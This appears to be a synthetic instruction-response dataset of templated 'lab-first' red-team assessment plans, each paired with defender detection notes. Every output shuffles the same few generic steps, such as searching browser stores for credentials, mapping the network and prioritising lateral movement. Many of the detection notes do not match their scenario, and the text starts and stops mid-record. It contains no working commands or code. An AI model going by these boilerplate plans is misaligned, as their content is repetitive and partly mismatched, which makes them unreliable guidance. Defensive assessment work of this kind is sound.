Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Public-facing web app with possible misconfiguration

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Enumerate visible services and shares without altering state to avoid noisy detection.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Phishing foothold on user workstation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Phishing foothold on user workstation

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Search non-destructively for credential material in user profiles and browser stores.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Stolen VPN credential allowing remote access: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Enumerate visible services and shares without altering state to avoid noisy detection.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Exposed remote management interface reachable: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Exposed remote management interface reachable

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Public-facing web app with possible misconfiguration: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Public-facing web app with possible misconfiguration

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Exposed remote management interface reachable: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Exposed remote management interface reachable

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Search non-destructively for credential material in user profiles and browser stores.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Supplier/third-party compromise suspected: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Supplier/third-party compromise suspected

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Public-facing web app with possible misconfiguration: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Public-facing web app with possible misconfiguration

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: User opened document with embedded macro: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: User opened document with embedded macro

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Enumerate visible services and shares without altering state to avoid noisy detection.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Phishing foothold on user workstation: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Phishing foothold on user workstation

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Enumerate visible services and shares without altering state to avoid noisy detection.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Compromised webmail session token obtained: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Compromised webmail session token obtained

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 3: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 4: Map the local network perspective and identify what domain resources are reachable.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 3: Enumerate visible services and shares without altering state to avoid noisy detection.

Step 4: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: OAuth app consent token acquired: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: OAuth app consent token acquired

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Map the local network perspective and identify what domain resources are reachable.

Step 3: Assess potential for lateral movement from this host and prioritize targets accordingly.

Step 4: Search non-destructively for credential material in user profiles and browser stores.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Stolen VPN credential allowing remote access: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Stolen VPN credential allowing remote access

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Coordinate with defenders to capture telemetry for each test to validate detection capabilities.

Step 3: Map the local network perspective and identify what domain resources are reachable.

Step 4: Assess potential for lateral movement from this host and prioritize targets accordingly.

Defender detection notes:

  - Unusual inbound/external sessions, new device profiles in VPN logs.

  - EDR alerts on document macro execution or unknown process creation.

Mitigations & hardening:

  - Enforce phishing-resistant MFA and stricter session controls.

  - Harden endpoints and restrict execution of macros from untrusted sources.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 4: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Read-only view into asset inventory/CMDB: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Read-only view into asset inventory/CMDB

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Prioritize targets that are likely to yield credentials or privileged access.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Domain-joined VM with read access to DC info: What step-by-step, lab-first actions and telemetry should a red-team and blue-team collect in an authorized test?

Input: Domain-joined VM with read access to DC info

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Prioritize targets that are likely to yield credentials or privileged access.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Ability to perform internal DNS queries: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Ability to perform internal DNS queries

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Prioritize targets that are likely to yield credentials or privileged access.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Access to a multi-share file server: Provide a detailed step-by-step red-team assessment plan (lab-first) and detection guidance for defenders.

Input: Access to a multi-share file server

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

Step 3: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 4: Enumerate directory objects that are accessible and capture LDAP responses for analysis.

Defender detection notes:

  - Increased LDAP or DNS query patterns from an atypical host.

  - Access to internal inventory systems from non-standard accounts.

Mitigations & hardening:

  - Restrict directory query capabilities and monitor access to inventory systems.

Note: High-level, non-actionable guidance intended for authorized lab assessments and defender tuning.


Instruction: Network foothold with standard user rights: In an authorized assessment, outline step-by-step lab-first evaluation and defender validation.

Input: Network foothold with standard user rights

Output:
Step 1: Confirm authorization and scope before proceeding.

Step 2: Identify critical hosts (DCs, CAs, backup servers) and plan lab-focused follow-ups.

Step 3: Use passive discovery sources first (DNS, ARP, CMDB) to map the environment.

